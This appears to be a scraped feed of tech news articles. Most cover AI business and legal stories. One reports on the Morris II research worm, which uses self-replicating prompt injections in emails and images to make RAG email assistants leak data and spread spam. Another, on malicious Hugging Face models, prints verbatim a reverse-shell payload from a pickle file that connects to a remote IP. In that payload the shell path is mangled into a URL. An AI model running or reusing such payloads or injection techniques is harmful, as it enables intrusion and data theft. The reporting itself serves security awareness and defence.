AI

researchers-create-ai-worms-that-can-spread-from-one-system-to-another

Researchers create AI worms that can spread from one system to another

There’s always a downside —

Worms could potentially steal data and deploy malware.

Researchers create AI worms that can spread from one system to another

Jacqui VanLiew; Getty Images

As generative AI systems like OpenAI’s ChatGPT and Google’s Gemini become more advanced, they are increasingly being put to work. Startups and tech companies are building AI agents and ecosystems on top of the systems that can complete boring chores for you: think automatically making calendar bookings and potentially buying products. But as the tools are given more freedom, it also increases the potential ways they can be attacked.

Now, in a demonstration of the risks of connected, autonomous AI ecosystems, a group of researchers has created one of what they claim are the first generative AI worms—which can spread from one system to another, potentially stealing data or deploying malware in the process. “It basically means that now you have the ability to conduct or to perform a new kind of cyberattack that hasn’t been seen before,” says Ben Nassi, a Cornell Tech researcher behind the research.

Nassi, along with fellow researchers Stav Cohen and Ron Bitton, created the worm, dubbed Morris II, as a nod to the original Morris computer worm that caused chaos across the Internet in 1988. In a research paper and website shared exclusively with WIRED, the researchers show how the AI worm can attack a generative AI email assistant to steal data from emails and send spam messages—breaking some security protections in ChatGPT and Gemini in the process.

The research, which was undertaken in test environments and not against a publicly available email assistant, comes as large language models (LLMs) are increasingly becoming multimodal, being able to generate images and video as well as text. While generative AI worms haven’t been spotted in the wild yet, multiple researchers say they are a security risk that startups, developers, and tech companies should be concerned about.

Most generative AI systems work by being fed prompts—text instructions that tell the tools to answer a question or create an image. However, these prompts can also be weaponized against the system. Jailbreaks can make a system disregard its safety rules and spew out toxic or hateful content, while prompt injection attacks can give a chatbot secret instructions. For example, an attacker may hide text on a webpage telling an LLM to act as a scammer and ask for your bank details.

To create the generative AI worm, the researchers turned to a so-called “adversarial self-replicating prompt.” This is a prompt that triggers the generative AI model to output, in its response, another prompt, the researchers say. In short, the AI system is told to produce a set of further instructions in its replies. This is broadly similar to traditional SQL injection and buffer overflow attacks, the researchers say.

To show how the worm can work, the researchers created an email system that could send and receive messages using generative AI, plugging into ChatGPT, Gemini, and open source LLM, LLaVA. They then found two ways to exploit the system—by using a text-based self-replicating prompt and by embedding a self-replicating prompt within an image file.

In one instance, the researchers, acting as attackers, wrote an email including the adversarial text prompt, which “poisons” the database of an email assistant using retrieval-augmented generation (RAG), a way for LLMs to pull in extra data from outside its system. When the email is retrieved by the RAG, in response to a user query, and is sent to GPT-4 or Gemini Pro to create an answer, it “jailbreaks the GenAI service” and ultimately steals data from the emails, Nassi says. “The generated response containing the sensitive user data later infects new hosts when it is used to reply to an email sent to a new client and then stored in the database of the new client,” Nassi says.

In the second method, the researchers say, an image with a malicious prompt embedded makes the email assistant forward the message on to others. “By encoding the self-replicating prompt into the image, any kind of image containing spam, abuse material, or even propaganda can be forwarded further to new clients after the initial email has been sent,” Nassi says.

In a video demonstrating the research, the email system can be seen forwarding a message multiple times. The researchers also say they could extract data from emails. “It can be names, it can be telephone numbers, credit card numbers, SSN, anything that is considered confidential,” Nassi says.

Although the research breaks some of the safety measures of ChatGPT and Gemini, the researchers say the work is a warning about “bad architecture design” within the wider AI ecosystem. Nevertheless, they reported their findings to Google and OpenAI. “They appear to have found a way to exploit prompt-injection type vulnerabilities by relying on user input that hasn’t been checked or filtered,” a spokesperson for OpenAI says, adding that the company is working to make its systems “more resilient” and saying developers should “use methods that ensure they are not working with harmful input.” Google declined to comment on the research. Messages Nassi shared with WIRED show the company’s researchers requested a meeting to talk about the subject.

While the demonstration of the worm takes place in a largely controlled environment, multiple security experts who reviewed the research say that the future risk of generative AI worms is one that developers should take seriously. This particularly applies when AI applications are given permission to take actions on someone’s behalf—such as sending emails or booking appointments—and when they may be linked up to other AI agents to complete these tasks. In other recent research, security researchers from Singapore and China have shown how they could jailbreak 1 million LLM agents in under five minutes.

Sahar Abdelnabi, a researcher at the CISPA Helmholtz Center for Information Security in Germany, who worked on some of the first demonstrations of prompt injections against LLMs in May 2023 and highlighted that worms may be possible, says that when AI models take in data from external sources or the AI agents can work autonomously, there is the chance of worms spreading. “I think the idea of spreading injections is very plausible,” Abdelnabi says. “It all depends on what kind of applications these models are used in.” Abdelnabi says that while this kind of attack is simulated at the moment, it may not be theoretical for long.

In a paper covering their findings, Nassi and the other researchers say they anticipate seeing generative AI worms in the wild in the next two to three years. “GenAI ecosystems are under massive development by many companies in the industry that integrate GenAI capabilities into their cars, smartphones, and operating systems,” the research paper says.

Despite this, there are ways people creating generative AI systems can defend against potential worms, including using traditional security approaches. “With a lot of these issues, this is something that proper secure application design and monitoring could address parts of,” says Adam Swanda, a threat researcher at AI enterprise security firm Robust Intelligence. “You typically don’t want to be trusting LLM output anywhere in your application.”

Swanda also says that keeping humans in the loop—ensuring AI agents aren’t allowed to take actions without approval—is a crucial mitigation that can be put in place. “You don’t want an LLM that is reading your email to be able to turn around and send an email. There should be a boundary there.” For Google and OpenAI, Swanda says that if a prompt is being repeated within its systems thousands of times, that will create a lot of “noise” and may be easy to detect.

Nassi and the research reiterate many of the same approaches to mitigations. Ultimately, Nassi says, people creating AI assistants need to be aware of the risks. “This is something that you need to understand and see whether the development of the ecosystem, of the applications, that you have in your company basically follows one of these approaches,” he says. “Because if they do, this needs to be taken into account.”

This story originally appeared on wired.com.

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Huge funding round makes “Figure” Big Tech’s favorite humanoid robot company

They’ve got an aluminum CNC machine, and they aren’t afraid to use it —

Investors Microsoft, OpenAI, Nvidia, Jeff Bezos, and Intel value Figure at $2.6B.

The Figure 01 and a few spare parts. Obviously they are big fans of aluminum.

Enlarge / The Figure 01 and a few spare parts. Obviously they are big fans of aluminum.

Figure

Humanoid robotics company Figure AI announced it raised $675 million in a funding round from an all-star cast of Big Tech investors. The company, which aims to commercialize a humanoid robot, now has a $2.6 billion valuation. Participants in the latest funding round include Microsoft, the OpenAI Startup Fund, Nvidia, Jeff Bezos’ Bezos Expeditions, Parkway Venture Capital, Intel Capital, Align Ventures, and ARK Invest. With all these big-name investors, Figure is officially Big Tech’s favorite humanoid robotics company. The manufacturing industry is taking notice, too. In January, Figure even announced a commercial agreement with BMW to have robots work on its production line.

“In conjunction with this investment,” the press release reads, “Figure and OpenAI have entered into a collaboration agreement to develop next generation AI models for humanoid robots, combining OpenAI’s research with Figure’s deep understanding of robotics hardware and software. The collaboration aims to help accelerate Figure’s commercial timeline by enhancing the capabilities of humanoid robots to process and reason from language.”

With all this hype and funding, the robot must be incredible, right? Well, the company is new and only unveiled its first humanoid “prototype,” the “Figure 01,” in October. At that time, the company said it represented about 12 months of work. With veterans from “Boston Dynamics, Tesla, Google DeepMind, and Archer Aviation,” the company has a strong starting point.

  • Ok, it’s time to pick up a box, so get out your oversized hands and grab hold.

    Figure

  • Those extra-big hands seem to be the focus of the robot. They are just incredibly complex and look to be aiming at a 1:1 build of a human hand.

    Figure

  • Just look at everything inside those fingers. It looks like there are tendons of some kind.

    Figure

  • Not impressed with this “pooped your pants” walk cycle, which doesn’t really use the knees or ankles.

    Figure

  • A lot of the hardware appears to be waiting for software to use it, like the screen that serves as the robot’s face. It only seems to run a screen saver.

    Figure

The actual design of the robot appears to be solid aluminum and electrically actuated, aiming for an exact 1:1 match for a human. The website says the goal is a 5-foot 6-inch, 130-lb humanoid that can lift 44 pounds. That’s a very small form-over-function package to try and fit all these robot parts into. For alternative humanoid designs, you’ve got Boston Dynamics’ Atlas, which is more of a hulking beast thanks to the function-over-form design. There’s also the more purpose-built “Digit” from Agility Robotics, which has backward-bending bird legs for warehouse work, allowing it to bend down in front of a shelf without having to worry about the knees colliding with anything.

The best insight into the company’s progress is the official YouTube channel, which shows the Figure 01 robot doing a few tasks. The last video, from a few days ago, showed a robot doing a “fully autonomous” box-moving task at “16.7 percent” of normal human speed. For a bipedal robot, I have to say the walking is not impressive. Figure has a slow, timid shuffle that only lets it wobble forward at a snail’s pace. The walk cycle is almost entirely driven by the hips. The knees are bent the entire time and always out in front of the robot; the ankles barely move. It seems only to be able to walk in a straight line, and turning is a slow stop-and-spin-in-place motion that has the feet peddling in place the entire time. The feet seem to move at a constant up-and-down motion even when the robot isn’t moving forward, almost as if foot planning just runs on a set timer for balance. It can walk, but it walks about as slowly and awkwardly as a robot can. A lot of the hardware seems built for software that isn’t ready yet.

Figure seems more focused on the hands than anything. The 01 has giant oversized hands that are a close match for a human’s, with five fingers, all with three joints each. In January, Figure posted a video of the robot working a Keurig coffee maker. That means flipping up the lid with a fingertip, delicately picking up an easily crushable plastic cup with two fingers, dropping it into the coffee maker, casually pushing the lid down with about three different fingers, and pressing the “go” button with a single finger. It’s impressive to not destroy the coffee maker or the K-cup, but that Keurig is still living a rough life—a few of the robot interactions incidentally lift one side or the other of the coffee maker off the table thanks to way too much force.

  • For some very delicate hand work, here’s the Figure 01 making coffee. They went and sourced a silver Keurig machine so this image only contains two colors, black and silver.

    Figure

  • Time to press the “go” button. Also is that a wrist-mounted lidar puck for vision? Occasionally, flashes of light shoot out of it in the video.

    Figure

  • These hand close-ups are just incredible. I really do think they are tendon-actuated. You can also see all sorts of pads on the inside of the hand.

    Figure

  • I love the ridiculous T-pose it assumes while it waits for coffee.

    Figure

The video says the coffee task was performed via an “end-to-end neural network” using 10 hours of training time. Unlike walking, the hands really feel like they have a human influence when it comes to their movement. When the robot picks up the K-cup via a pinch of its thumb and index finger or goes to push a button, it also closes the other three fingers into a fist. There isn’t a real reason to move the three fingers that aren’t doing anything, but that’s what a human would do, so presumably, it’s in the training data. Closing the lid is interesting because I don’t think you could credit a single finger with the task—it’s just kind of a casual push using whatever fingers connect with the lid. The last clip of the video even shows the Figure 01 correcting a mistake—the K-cup doesn’t sit in the coffee maker correctly, and the robot recognizes this and can poke it around until it falls into place.

A lot of assembly line jobs are done at a station or sitting down, so the focus on hand dexterity makes sense. Boston Dynamics’ Atlas is way more impressive as a walking robot, but that’s also a multi-million dollar research bot that will never see the market. Figure’s goal, according to the press release, is to “bring humanoid robots into commercial operations as soon as possible.” The company openly posts a “master plan” on its website, which reads, “1) Build a feature-complete electromechanical humanoid. 2) Perform human-like manipulation. 3) Integrate humanoids into the labor force.” The robots are coming for our jobs.

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Hugging Face, the GitHub of AI, hosted code that backdoored user devices

IN A PICKLE —

Malicious submissions have been a fact of life for code repositories. AI is no different.

Photograph depicts a security scanner extracting virus from a string of binary code. Hand with the word

Getty Images

Code uploaded to AI developer platform Hugging Face covertly installed backdoors and other types of malware on end-user machines, researchers from security firm JFrog said Thursday in a report that’s a likely harbinger of what’s to come.

In all, JFrog researchers said, they found roughly 100 submissions that performed hidden and unwanted actions when they were downloaded and loaded onto an end-user device. Most of the flagged machine learning models—all of which went undetected by Hugging Face—appeared to be benign proofs of concept uploaded by researchers or curious users. JFrog researchers said in an email that 10 of them were “truly malicious” in that they performed actions that actually compromised the users’ security when loaded.

Full control of user devices

One model drew particular concern because it opened a reverse shell that gave a remote device on the Internet full control of the end user’s device. When JFrog researchers loaded the model into a lab machine, the submission indeed loaded a reverse shell but took no further action.

That, the IP address of the remote device, and the existence of identical shells connecting elsewhere raised the possibility that the submission was also the work of researchers. An exploit that opens a device to such tampering, however, is a major breach of researcher ethics and demonstrates that, just like code submitted to GitHub and other developer platforms, models available on AI sites can pose serious risks if not carefully vetted first.

“The model’s payload grants the attacker a shell on the compromised machine, enabling them to gain full control over victims’ machines through what is commonly referred to as a ‘backdoor,’” JFrog Senior Researcher David Cohen wrote. “This silent infiltration could potentially grant access to critical internal systems and pave the way for large-scale data breaches or even corporate espionage, impacting not just individual users but potentially entire organizations across the globe, all while leaving victims utterly unaware of their compromised state.”

A lab machine set up as a honeypot to observe what happened when the model was loaded.

A lab machine set up as a honeypot to observe what happened when the model was loaded.

JFrog

Secrets and other bait data the honeypot used to attract the threat actor.

Enlarge / Secrets and other bait data the honeypot used to attract the threat actor.

JFrog

How baller432 did it

Like the other nine truly malicious models, the one discussed here used pickle, a format that has long been recognized as inherently risky. Pickles is commonly used in Python to convert objects and classes in human-readable code into a byte stream so that it can be saved to disk or shared over a network. This process, known as serialization, presents hackers with the opportunity of sneaking malicious code into the flow.

The model that spawned the reverse shell, submitted by a party with the username baller432, was able to evade Hugging Face’s malware scanner by using pickle’s “__reduce__” method to execute arbitrary code after loading the model file.

JFrog’s Cohen explained the process in much more technically detailed language:

In loading PyTorch models with transformers, a common approach involves utilizing the torch.load() function, which deserializes the model from a file. Particularly when dealing with PyTorch models trained with Hugging Face’s Transformers library, this method is often employed to load the model along with its architecture, weights, and any associated configurations. Transformers provide a comprehensive framework for natural language processing tasks, facilitating the creation and deployment of sophisticated models. In the context of the repository “baller423/goober2,” it appears that the malicious payload was injected into the PyTorch model file using the __reduce__ method of the pickle module. This method, as demonstrated in the provided reference, enables attackers to insert arbitrary Python code into the deserialization process, potentially leading to malicious behavior when the model is loaded.

Upon analysis of the PyTorch file using the fickling tool, we successfully extracted the following payload:

RHOST = "210.117.212.93"  RPORT = 4242    from sys import platform    if platform != 'win32':      import threading      import socket      import pty      import os        def connect_and_spawn_shell():          s = socket.socket()          s.connect((RHOST, RPORT))          [os.dup2(s.fileno(), fd) for fd in (0, 1, 2)]          pty.spawn("https://arstechnica.com/bin/sh")        threading.Thread(target=connect_and_spawn_shell).start()  else:      import os      import socket      import subprocess      import threading      import sys        def send_to_process(s, p):          while True:              p.stdin.write(s.recv(1024).decode())              p.stdin.flush()        def receive_from_process(s, p):          while True:              s.send(p.stdout.read(1).encode())        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)        while True:          try:              s.connect((RHOST, RPORT))              break          except:              pass        p = subprocess.Popen(["powershell.exe"],                            stdout=subprocess.PIPE,                           stderr=subprocess.STDOUT,                           stdin=subprocess.PIPE,                           shell=True,                           text=True)        threading.Thread(target=send_to_process, args=[s, p], daemon=True).start()      threading.Thread(target=receive_from_process, args=[s, p], daemon=True).start()      p.wait()

Hugging Face has since removed the model and the others flagged by JFrog.

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elon-musk-sues-openai-and-sam-altman,-accusing-them-of-chasing-profits

Elon Musk sues OpenAI and Sam Altman, accusing them of chasing profits

YA Musk lawsuit —

OpenAI is now a “closed-source de facto subsidiary” of Microsoft, says lawsuit.

Elon Musk sues OpenAI and Sam Altman, accusing them of chasing profits

Elon Musk has sued OpenAI and its chief executive Sam Altman for breach of contract, alleging they have compromised the start-up’s original mission of building artificial intelligence systems for the benefit of humanity.

In the lawsuit, filed to a San Francisco court on Thursday, Musk’s lawyers wrote that OpenAI’s multibillion-dollar alliance with Microsoft had broken an agreement to make a major breakthrough in AI “freely available to the public.”

Instead, the lawsuit said, OpenAI was working on “proprietary technology to maximise profits for literally the largest company in the world.”

The legal fight escalates a long-running dispute between Musk, who has founded his own AI company, known as xAI, and OpenAI, which has received a $13 billion investment from Microsoft.

Musk, who helped co-found OpenAI in 2015, said in his legal filing he had donated $44 million to the group, and had been “induced” to make contributions by promises, “including in writing,” that it would remain a non-profit organisation.

He left OpenAI’s board in 2018 following disagreements with Altman on the direction of research. A year later, the group established the for-profit arm that Microsoft has invested into.

Microsoft’s president Brad Smith told the Financial Times this week that while the companies were “very important partners,” “Microsoft does not control OpenAI.”

Musk’s lawsuit alleges that OpenAI’s latest AI model, GPT4, released in March last year, breached the threshold for artificial general intelligence (AGI), at which computers function at or above the level of human intelligence.

The Microsoft deal only gives the tech giant a licence to OpenAI’s pre-AGI technology, the lawsuit said, and determining when this threshold is reached is key to Musk’s case.

The lawsuit seeks a court judgment over whether GPT4 should already be considered to be AGI, arguing that OpenAI’s board was “ill-equipped” to make such a determination.

The filing adds that OpenAI is also building another model, Q*, that will be even more powerful and capable than GPT4. It argues that OpenAI is committed under the terms of its founding agreement to make such technology available publicly.

“Mr. Musk has long recognised that AGI poses a grave threat to humanity—perhaps the greatest existential threat we face today,” the lawsuit says.

“To this day, OpenAI, Inc.’s website continues to profess that its charter is to ensure that AGI ‘benefits all of humanity’,” it adds. “In reality, however, OpenAI, Inc. has been transformed into a closed-source de facto subsidiary of the largest technology company in the world: Microsoft.”

OpenAI maintains it has not yet achieved AGI, despite its models’ success in language and reasoning tasks. Large language models like GPT4 still generate errors, fabrications and so-called hallucinations.

The lawsuit also seeks to “compel” OpenAI to adhere to its founding agreement to build technology that does not simply benefit individuals such as Altman and corporations such as Microsoft.

Musk’s own xAI company is a direct competitor to OpenAI and launched its first product, a chatbot named Grok, in December.

OpenAI declined to comment. Representatives for Musk have been approached for comment. Microsoft did not immediately respond to a request for comment.

The Microsoft-OpenAI alliance is being reviewed by competition watchdogs in the US, EU and UK.

The US Securities and Exchange Commission issued subpoenas to OpenAI executives in November as part of an investigation into whether Altman had misled its investors, according to people familiar with the move.

That investigation came shortly after OpenAI’s board fired Altman as chief executive only to reinstate him days later. A new board has since been instituted including former Salesforce co-chief executive Bret Taylor as chair.

There is an ongoing internal review of the former board’s allegations against Altman by independent law firm WilmerHale.

© 2024 The Financial Times Ltd. All rights reserved Not to be redistributed, copied, or modified in any way.

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AI-generated articles prompt Wikipedia to downgrade CNET’s reliability rating

The hidden costs of AI —

Futurism report highlights the reputational cost of publishing AI-generated content.

The CNET logo on a smartphone screen.

Wikipedia has downgraded tech website CNET’s reliability rating following extensive discussions among its editors regarding the impact of AI-generated content on the site’s trustworthiness, as noted in a detailed report from Futurism. The decision reflects concerns over the reliability of articles found on the tech news outlet after it began publishing AI-generated stories in 2022.

Around November 2022, CNET began publishing articles written by an AI model under the byline “CNET Money Staff.” In January 2023, Futurism brought widespread attention to the issue and discovered that the articles were full of plagiarism and mistakes. (Around that time, we covered plans to do similar automated publishing at BuzzFeed.) After the revelation, CNET management paused the experiment, but the reputational damage had already been done.

Wikipedia maintains a page called “Reliable sources/Perennial sources” that includes a chart featuring news publications and their reliability ratings as viewed from Wikipedia’s perspective. Shortly after the CNET news broke in January 2023, Wikipedia editors began a discussion thread on the Reliable Sources project page about the publication.

“CNET, usually regarded as an ordinary tech RS [reliable source], has started experimentally running AI-generated articles, which are riddled with errors,” wrote a Wikipedia editor named David Gerard. “So far the experiment is not going down well, as it shouldn’t. I haven’t found any yet, but any of these articles that make it into a Wikipedia article need to be removed.”

After other editors agreed in the discussion, they began the process of downgrading CNET’s reliability rating.

As of this writing, Wikipedia’s Perennial Sources list currently features three entries for CNET broken into three time periods: (1) before October 2020, when Wikipedia considered CNET a “generally reliable” source; (2) between October 2020 and October 2022, where Wikipedia notes that the site was acquired by Red Ventures in October 2020, “leading to a deterioration in editorial standards” and saying there is no consensus about reliability; and (3) between November 2022 and present, where Wikipedia currently considers CNET “generally unreliable” after the site began using an AI tool “to rapidly generate articles riddled with factual inaccuracies and affiliate links.”

A screenshot of a chart featuring CNET's reliability ratings, as found on Wikipedia's

Enlarge / A screenshot of a chart featuring CNET’s reliability ratings, as found on Wikipedia’s “Perennial Sources” page.

Futurism reports that the issue with CNET’s AI-generated content also sparked a broader debate within the Wikipedia community about the reliability of sources owned by Red Ventures, such as Bankrate and CreditCards.com. Those sites published AI-generated content around the same period of time as CNET. The editors also criticized Red Ventures for not being forthcoming about where and how AI was being implemented, further eroding trust in the company’s publications. This lack of transparency was a key factor in the decision to downgrade CNET’s reliability rating.

In response to the downgrade and the controversies surrounding AI-generated content, CNET issued a statement that claims that the site maintains high editorial standards.

“CNET is the world’s largest provider of unbiased tech-focused news and advice,” a CNET spokesperson said in a statement to Futurism. “We have been trusted for nearly 30 years because of our rigorous editorial and product review standards. It is important to clarify that CNET is not actively using AI to create new content. While we have no specific plans to restart, any future initiatives would follow our public AI policy.”

This article was updated on March 1, 2024 at 9: 30am to reflect fixes in the date ranges for CNET on the Perennial Sources page.

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Microsoft partners with OpenAI-rival Mistral for AI models, drawing EU scrutiny

The European Approach —

15M euro investment comes as Microsoft hosts Mistral’s GPT-4 alternatives on Azure.

Velib bicycles are parked in front of the the U.S. computer and micro-computing company headquarters Microsoft on January 25, 2023 in Issy-les-Moulineaux, France.

On Monday, Microsoft announced plans to offer AI models from Mistral through its Azure cloud computing platform, which came in conjunction with a 15 million euro non-equity investment in the French firm, which is often seen as a European rival to OpenAI. Since then, the investment deal has faced scrutiny from European Union regulators.

Microsoft’s deal with Mistral, known for its large language models akin to OpenAI’s GPT-4 (which powers the subscription versions of ChatGPT), marks a notable expansion of its AI portfolio at a time when its well-known investment in California-based OpenAI has raised regulatory eyebrows. The new deal with Mistral drew particular attention from regulators because Microsoft’s investment could convert into equity (partial ownership of Mistral as a company) during Mistral’s next funding round.

The development has intensified ongoing investigations into Microsoft’s practices, particularly related to the tech giant’s dominance in the cloud computing sector. According to Reuters, EU lawmakers have voiced concerns that Mistral’s recent lobbying for looser AI regulations might have been influenced by its relationship with Microsoft. These apprehensions are compounded by the French government’s denial of prior knowledge of the deal, despite earlier lobbying for more lenient AI laws in Europe. The situation underscores the complex interplay between national interests, corporate influence, and regulatory oversight in the rapidly evolving AI landscape.

Avoiding American influence

The EU’s reaction to the Microsoft-Mistral deal reflects broader tensions over the role of Big Tech companies in shaping the future of AI and their potential to stifle competition. Calls for a thorough investigation into Microsoft and Mistral’s partnership have been echoed across the continent, according to Reuters, with some lawmakers accusing the firms of attempting to undermine European legislative efforts aimed at ensuring a fair and competitive digital market.

The controversy also touches on the broader debate about “European champions” in the tech industry. France, along with Germany and Italy, had advocated for regulatory exemptions to protect European startups. However, the Microsoft-Mistral deal has led some, like MEP Kim van Sparrentak, to question the motives behind these exemptions, suggesting they might have inadvertently favored American Big Tech interests.

“That story seems to have been a front for American-influenced Big Tech lobby,” said Sparrentak, as quoted by Reuters. Sparrentak has been a key architect of the EU’s AI Act, which has not yet been passed. “The Act almost collapsed under the guise of no rules for ‘European champions,’ and now look. European regulators have been played.”

MEP Alexandra Geese also expressed concerns over the concentration of money and power resulting from such partnerships, calling for an investigation. Max von Thun, Europe director at the Open Markets Institute, emphasized the urgency of investigating the partnership, criticizing Mistral’s reported attempts to influence the AI Act.

Also on Monday, amid the partnership news, Mistral announced Mistral Large, a new large language model (LLM) that Mistral says “ranks directly after GPT-4 based on standard benchmarks.” Mistral has previously released several open-weights AI models that have made news for their capabilities, but Mistral Large will be a closed model only available to customers through an API.

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openai-accuses-nyt-of-hacking-chatgpt-to-set-up-copyright-suit

OpenAI accuses NYT of hacking ChatGPT to set up copyright suit

OpenAI accuses NYT of hacking ChatGPT to set up copyright suit

OpenAI is now boldly claiming that The New York Times “paid someone to hack OpenAI’s products” like ChatGPT to “set up” a lawsuit against the leading AI maker.

In a court filing Monday, OpenAI alleged that “100 examples in which some version of OpenAI’s GPT-4 model supposedly generated several paragraphs of Times content as outputs in response to user prompts” do not reflect how normal people use ChatGPT.

Instead, it allegedly took The Times “tens of thousands of attempts to generate” these supposedly “highly anomalous results” by “targeting and exploiting a bug” that OpenAI claims it is now “committed to addressing.”

According to OpenAI this activity amounts to “contrived attacks” by a “hired gun”—who allegedly hacked OpenAI models until they hallucinated fake NYT content or regurgitated training data to replicate NYT articles. NYT allegedly paid for these “attacks” to gather evidence to support The Times’ claims that OpenAI’s products imperil its journalism by allegedly regurgitating reporting and stealing The Times’ audiences.

“Contrary to the allegations in the complaint, however, ChatGPT is not in any way a substitute for a subscription to The New York Times,” OpenAI argued in a motion that seeks to dismiss the majority of The Times’ claims. “In the real world, people do not use ChatGPT or any other OpenAI product for that purpose. Nor could they. In the ordinary course, one cannot use ChatGPT to serve up Times articles at will.”

In the filing, OpenAI described The Times as enthusiastically reporting on its chatbot developments for years without raising any concerns about copyright infringement. OpenAI claimed that it disclosed that The Times’ articles were used to train its AI models in 2020, but The Times only cared after ChatGPT’s popularity exploded after its debut in 2022.

According to OpenAI, “It was only after this rapid adoption, along with reports of the value unlocked by these new technologies, that the Times claimed that OpenAI had ‘infringed its copyright[s]’ and reached out to demand ‘commercial terms.’ After months of discussions, the Times filed suit two days after Christmas, demanding ‘billions of dollars.'”

Ian Crosby, Susman Godfrey partner and lead counsel for The New York Times, told Ars that “what OpenAI bizarrely mischaracterizes as ‘hacking’ is simply using OpenAI’s products to look for evidence that they stole and reproduced The Times’s copyrighted works. And that is exactly what we found. In fact, the scale of OpenAI’s copying is much larger than the 100-plus examples set forth in the complaint.”

Crosby told Ars that OpenAI’s filing notably “doesn’t dispute—nor can they—that they copied millions of The Times’ works to build and power its commercial products without our permission.”

“Building new products is no excuse for violating copyright law, and that’s exactly what OpenAI has done on an unprecedented scale,” Crosby said.

OpenAI argued that the court should dismiss claims alleging direct copyright, contributory infringement, Digital Millennium Copyright Act violations, and misappropriation, all of which it describes as “legally infirm.” Some fail because they are time-barred—seeking damages on training data for OpenAI’s older models—OpenAI claimed. Others allegedly fail because they misunderstand fair use or are preempted by federal laws.

If OpenAI’s motion is granted, the case would be substantially narrowed.

But if the motion is not granted and The Times ultimately wins—and it might—OpenAI may be forced to wipe ChatGPT and start over.

“OpenAI, which has been secretive and has deliberately concealed how its products operate, is now asserting it’s too late to bring a claim for infringement or hold them accountable. We disagree,” Crosby told Ars. “It’s noteworthy that OpenAI doesn’t dispute that it copied Times works without permission within the statute of limitations to train its more recent and current models.”

OpenAI did not immediately respond to Ars’ request to comment.

OpenAI accuses NYT of hacking ChatGPT to set up copyright suit Read More »

wendy’s-will-experiment-with-dynamic-surge-pricing-for-food-in-2025

Wendy’s will experiment with dynamic surge pricing for food in 2025

Sir, this is Wendy’s new AI-powered menu —

Surge pricing test next year means your cheeseburger may get more expensive at 6 pm.

A view of a Wendy's store on August 9, 2023 in Nanuet, New York.

Enlarge / A view of a Wendy’s store on August 9, 2023, in Nanuet, New York.

American fast food chain Wendy’s is planning to test dynamic pricing and AI menu features in 2025, reports Nation’s Restaurant News and Food & Wine. This means that prices for food items will automatically change throughout the day depending on demand, similar to “surge pricing” in rideshare apps like Uber and Lyft. The initiative was disclosed by Kirk Tanner, the CEO and president of Wendy’s, in a recent discussion with analysts.

According to Tanner, Wendy’s plans to invest approximately $20 million to install digital menu boards capable of displaying these real-time variable prices across all of its company-operated locations in the United States. An additional $10 million is earmarked over two years to enhance Wendy’s global system, which aims to improve order accuracy and upsell other menu items.

In conversation with Food & Wine, a spokesperson for Wendy’s confirmed the company’s commitment to this pricing strategy, describing it as part of a broader effort to grow its digital business. “Beginning as early as 2025, we will begin testing a variety of enhanced features on these digital menuboards like dynamic pricing, different offerings in certain parts of the day, AI-enabled menu changes and suggestive selling based on factors such as weather,” they said. “Dynamic pricing can allow Wendy’s to be competitive and flexible with pricing, motivate customers to visit and provide them with the food they love at a great value. We will test a number of features that we think will provide an enhanced customer and crew experience.”

A Wendy's drive-through menu as seen in 2023 during the FreshAI rollout.

Enlarge / A Wendy’s drive-through menu as seen in 2023 during the FreshAI rollout.

Wendy’s is not the first business to explore dynamic pricing—it’s a common practice in several industries, including hospitality, retail, airline travel, and the aforementioned rideshare apps. Its application in the fast-food sector is largely untested, and it’s uncertain how customers will react. However, a few other restaurants have tested the method and have experienced favorable results. “For us, it was all about consumer reaction,” Faizan Khan, a Dog Haus franchise owner, told Food & Wine. “The concern was if you’re going to raise prices, you’re going to sell less product, and it turns out that really wasn’t the case.”

The price-change plans are the latest in a series of moves designed to modernize Wendy’s business using technology—and increase profits. In 2023, Wendy’s began testing FreshAI, a system designed to take orders with a conversational AI bot, potentially replacing human workers in the process. In his discussion, Tanner also discussed “AI-enabled menu changes” and “suggestive selling” without elaboration, though the Wendy’s spokesperson remarked that suggestive selling may automatically emphasize some items based dynamically on local weather conditions, such as trying to sell cold drinks on a hot day.

If Wendy’s goes through with its plan, it’s unclear how the dynamic pricing will affect food delivery apps such as Uber Eats or Doordash, or even the Wendy’s mobile app. Presumably, third-party apps will need a way to link into Wendy’s dynamic price system (Wendy’s API anyone?).

In other news, Wendy’s is also testing “Saucy Nuggets” in a small number of restaurants near the chain’s Ohio headquarters. Refreshingly, they have nothing to do with AI.

Wendy’s will experiment with dynamic surge pricing for food in 2025 Read More »

after-a-decade-of-stops-and-starts,-apple-kills-its-electric-car-project

After a decade of stops and starts, Apple kills its electric car project

Project Titan —

Report claims Apple leadership worried profit margins simply wouldn’t be there.

An enormous ring-shaped building on a green campus.

Enlarge / Apple’s global headquarters in Cupertino, California.

After 10 years of development, multiple changes in direction and leadership, and a plethora of leaks, Apple has reportedly ended work on its electric car project. According to a report in Bloomberg, the company is shifting some of the staff to work on generative AI projects within the company and planning layoffs for some others.

Internally dubbed Project Titan, the long-in-development car would have ideally had a luxurious, limo-like interior, robust self-driving capabilities, and at least a $100,000 price tag. However, the ambition of the project was drawn down with time. For example, it was once planned to have Level 4 self-driving capabilities, but that was scaled back to Level 2+.

Delays had pushed the car (on which work initially began way back in 2014) to a target release date of 2028. Now it won’t be released at all.

The decision was “finalized by Apple’s most senior executives in recent weeks,” according to Bloomberg’s sources. Apple’s leadership worried that the car might never find the profit margins they previously hoped for. This development won’t surprise many who have been following closely, though. The project has been known to be troubled for a while, and Apple would have had to face high startup costs and a difficult regulatory environment even had it been able to get a product together.

The shift in focus was announced to staff by Apple executives Jeff Williams and Kevin Lynch. Many employees who were working on the self-driving feature of the car will be moved under AI chief John Giannandrea to work on various projects, including generative AI. However, the fates of others who worked on other aspects of the car, like automobile engineering and design, are less certain. The report says layoffs are likely but doesn’t specify how many or on what timeline.

For a long time, it was known that Apple was investing in two major expansions: one into the automobile space and one into augmented reality. The first step in the latter was rolled out in the form of the Vision Pro headset a few weeks ago. With the car project canceled, Apple’s known areas of planned future expansion include mixed reality, wearables, and generative AI.

After a decade of stops and starts, Apple kills its electric car project Read More »

reddit-cashes-in-on-ai-gold-rush-with-$203m-in-llm-training-license-fees

Reddit cashes in on AI gold rush with $203M in LLM training license fees

Your posts are the product —

Two- to three-year deals with Google, others, come amid legal uncertainty over “fair use.”

Enlarge / “Reddit Gold” takes on a whole new meaning when AI training data is involved.

